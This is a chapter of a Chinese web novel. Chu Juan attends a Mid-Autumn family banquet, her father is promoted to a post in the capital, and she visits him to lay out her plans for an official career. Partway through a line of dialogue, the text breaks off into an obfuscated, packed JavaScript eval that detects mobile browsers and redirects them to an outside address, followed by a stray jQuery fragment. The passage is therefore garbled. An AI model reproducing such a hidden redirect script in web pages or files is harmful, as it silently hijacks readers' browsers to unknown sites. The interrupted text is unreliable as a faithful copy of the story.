焦明珰和楚绢来到设宴的楚家正堂，还未走到院门，已能听见此起彼伏的调笑声，混着丫鬟和夫人们穿梭时衣袂相擦的窸窣。人声鼎沸，衣香鬓影，除了两位大家长未至，俨然是宴会正酣的场面了。


    楚家正堂今日撤了日常的素色帷幔，换作茜红洒金软帘，映着院内摆的几株桂花树和几盆菊花，端的是金秋盛景。


    焦明珰先声夺人：“守着这么好的景致，怪不得你们不等我来就喝美了！”


    满堂宾客见焦明珰进来，纷纷含笑招呼：“焦大奶奶来了！”“大奶奶可教我们好等，你说说，大好的日子又躲哪去了？”“大忙人，你可来了！”


    焦明珰同相熟的夫人调笑几句，却不急着应酬，先引着楚绢往东边暖阁去，那里摆着张梨花木圆桌，已坐着两三个个妇人和五六个楚家旁支的姑娘。


    楚绢被她按坐在临窗位置，抬眼正撞进几个陌生少女探究的目光里。


    她生得清瘦，眉目清秀，神情淡漠，穿着又素净，活像寒冬里一株共雪一色的白梅，倒比那些穿红着绿的更显眼。


    几个少女不是头一回见她，但楚绢这几个月风头无两，她们瞧着她，只觉得陌生，像不知什么时候自己身边的姐妹就被妖怪给夺了舍。


    焦明珰朝主位方向抬了抬下巴，压低声音：“你伯祖父和伯祖母一会儿就坐主台，离你们远，你可不必时时端着。只是记得，一会儿老夫人多半要赐菜，你先少吃几口，留着肚子吃老夫人赐下的。赐菜里纵使有不爱吃的，也得动动筷子，要不然被人说你不敬长辈。”


    楚绢乖巧点头，“妹妹省得。”


    焦明珰素知她应对得宜，提醒过一遭也就罢了，便径直转去前堂，挨桌地敬酒说笑。


    不一会儿，楚擎峰携了老夫人登场，一群晚辈子侄起身向二人行礼。二人落座，楚擎峰“嗯”了一声，“都免礼吧。”老夫人鬓边戴着赤金点翠凤钗，笑得眼尾堆起褶子：“都坐都坐，今儿是家宴，不必拘礼。”


    楚绢随着众人起身，又缓缓坐下。主台与她们这桌不过五六步的距离，她到底不敢像焦明珰说的那样松懈。


    楚绢这一桌不像楚瑾、楚瑜、楚琬她们那一桌跟老夫人亲近，但还是时不时得老夫人赐下几道菜。


    楚绢看得分明，老夫人拿银筷子指着一道菜，摆摆筷子示意一下，就有丫鬟端来楚绢她们这桌，挨个给每个小姐媳妇分一份。


    楚绢顾及着这是晚餐，怕吃多了回去不消化，因此除了老夫人赏了菜，其他时候并不怎么动筷子。


    她这样行事，落在别人眼里却是这孩子年幼离了父亲，大过节的看着别人阖家团圆，难免伤心。


    楚擎峰暗暗看在眼里，等过了中秋夜宴，他单独留下几个子侄，借着月光道：“怀庭在壶州这几年，治下清如水明如镜，圣上早有留意。我有意修书与他，开春便调他回京。”


    楚怀远、楚怀清和楚怀锦对视一眼，楚怀远作为大哥，先试探道：“您是有意让他在朝中为您效劳？”


    楚擎峰不答，只是端起茶盏一饮而尽。


    “做官清明廉德，容易；让别人知道你清明廉德，难。让圣上知道你在外地做官做得清明廉德，难上加难。上月，壶州百姓联名上书，盛赞知州楚怀庭治灾及时，救万民于水火，连圣上都颇为震惊。”


    楚怀锦点点头，“四弟这两年深谙为官之道，已经不满足于只做个纯臣，依我看，他也是有野心再往上走一走的。”


    “如今陛下正对他高看几分，趁此机会劝陛下把怀庭调入京中的话，这官阶少不得要升上一升。大好良机，不容错过啊。”


    几个人商讨一夜，次日，便敲定了想办法调楚怀庭进京的打算。


    事后，楚擎峰和楚怀庭通信几次，嘱咐他这些日子务必更加勤勉敬业，与上峰的关系也要打点得滴水不漏。


    经过楚家人一番操作，这年冬天，楚怀庭如愿调任京官，因为他在壶州任职期间政纪斐然，皇帝特批他官升一品，官拜吏部员外郎。


    消息传来时，楚绢正在廊下赏雪，老管家端着楚怀庭从壶州寄给楚绢的家书和一盒小桃酥，喜气洋洋地跟楚绢报告这个好消息：“四老爷有信儿来，说调令已下，不日就将启程进京，预计年前就能到呢！七小姐，您呀终于可以跟亲生父亲好好过个节了！”


    楚绢一愣，脑海中浮现出离别那日楚怀庭站在城墙上为她送别的画面，眼里蓦地落下两行清泪。


    老管家见她不喜反哭，忙把檀木托盘往石桌上一放，便上前来温声安慰她。


    楚绢拿帕子擦擦眼泪，破涕为笑：“我哪里是伤心，是想到终于能和父亲重逢，喜得不知道怎么办才好了！”


    又回首对屋内下人朗声道：“咱们家老爷要进京了，小姐我今天高兴，所有人赏二两银子，一壶好酒！”


    入京后，楚怀庭买下楚家西北边相邻的宅院，举家搬入京城，但考虑到楚绢仍需要在楚家的女学学习，他并没有将女儿接到身边。


    楚绢听闻父亲已经搬入京城，就住在楚府附近，等不及楚怀庭请她便登门拜访。


    修葺一新的宅邸足有四进，楚绢跟着引路的下人一路走到三间房的一个院落，门上金漆匾额题着斗大的“松风堂”三字，端的是气派煊赫。


    “小姐请随我来，老爷在书房等您多时了。”老管家李忠明掀开厚重的织锦门帘，霎时一股炭火的暖香扑到楚绢面前。


    楚绢抬步进厅，见楚怀庭正站在一扇紫檀木刻花鸟百戏屏风前，一身玄色官服衬得他气宇轩昂，腰间的玉带钩和象牙官牌随着他的动作碰撞，发出清脆的轻响。


    那是权势在不经意间溢出的呼吸。


    楚绢深吸一口气，压下内心翻涌的欲望。


    迟早有一天，她也会身着华服，玉带金钩，昂然立于众人之上！


    楚怀庭听得女儿进门，转过脸朝向她，眼角细纹里盛着笑意："绢儿来得正好，快过来尝尝我新得的凤凰单枞。"


    楚绢“哎！”了一声，坐下吃了一盏茶，笑道：“满口留香，怪道是好茶。我听说这茶好几回了，今儿借了父亲大人的光


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465510|185312||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，终于能吃上。”


    案上另一只青瓷茶盏升起袅袅热气，混着茶香扑在人脸上。楚绢执盏浅饮，目光却不住往父亲脸上扫。三年未见，楚怀庭两鬓霜色更重，下颌线条却愈发利落，显是官场历练添了几分沉稳。


    “女儿在楚家女学读女诫，也读策论，总有许多不明。”她放下茶盏，“世人皆要求女子安守本分，却鼓励男子闯荡打拼。可这为官之道，有的要人安守本分，有的要人锐意进取，女儿想知道，作女人该如何，作女官，又该如何？”


    楚怀庭一手捋着胡须，一手在桌案上轻点。须臾，他道：“为官，当在平时安守本分，在危难时临危不惧，如此，方能积蓄力量。所谓厚积薄发，等积蓄了足够力量时，也就是你该锐意进取的时候了。”


    楚绢毕竟还没有真正步入官场，楚怀庭这一番肺腑之言，她听得还不是十分明白。但她也知道这话有多么重要，于是逐字逐句地记在心里，只待日后成了女官，步入官场，再细想这话中深意。


    父女两个又交流了一番朝中局势，楚怀庭叹息一声：“绢儿不知，为父在秦尚书幕中这两年，所见所闻，比在壶州十年还要复杂。”


    说着，楚怀庭呷了口茶，声音低沉下来，“上月朝议盐税，户部侍郎张大人表面附和，转头便在背后递了折子参秦公一本，说他结党营私，动摇国本。这还是明面上的，暗地里的人情往来、利益交换，更是暗潮涌动，不知何时就要人性命。”


    他放下茶杯，目光灼灼地看着女儿：“我今日与你说这些，并非阻你上进之心，而是要让你看清楚，官场的水有多浑。你一个未出阁的姑娘家，没有势力可靠，家族的助益也有限，要蹚这趟浑水，就得做好孤身上路的准备。”


    楚绢粲然一笑：“爹爹不用多言，女儿陪在您身边时见识过多少官场险恶，哪里会不知其中深浅？女儿一直明白，我想走的路，是一条没有退路的绝路。正因此，才更要早作打算。”


    “我想着，先盘下些铺子，专做达官贵人生意，以此来积蓄人脉。再拉拢一帮底层的地头蛇，在京城的三教九流之间培植势力……如此这般，等来日入朝为官，我就比别的大人都要耳聪目明呢。”


    “好。”楚怀庭重重一拍大腿，眼中闪过一丝赞许，“你要积蓄力量，为父自然支持。从今往后，府里的银钱，你尽可支取，我绝不过问用途。至于你需要的人手……”


    他站起身，提高了声音朝外面道，“忠明，你把人都叫进来！”


    片刻后，管家李忠明与几个跟随楚怀庭多年的老仆躬身立于堂下。


    楚怀庭指着楚绢，沉声道：“这位是我的独女楚绢，以后她就是你们的另一位主子。凡她吩咐之事，务必竭力去做，不必事事回禀于我。若有怠慢或违逆，不用请示，直接杖责罚没月钱！”


    “是，老爷！”众人齐声应道，心中皆是震惊。


    他们跟随楚怀庭多年，从未见过他将话放得如此之重，这已经不单单是对独女的疼宠能解释的了，老爷分明要将全家的家底都交到她手上！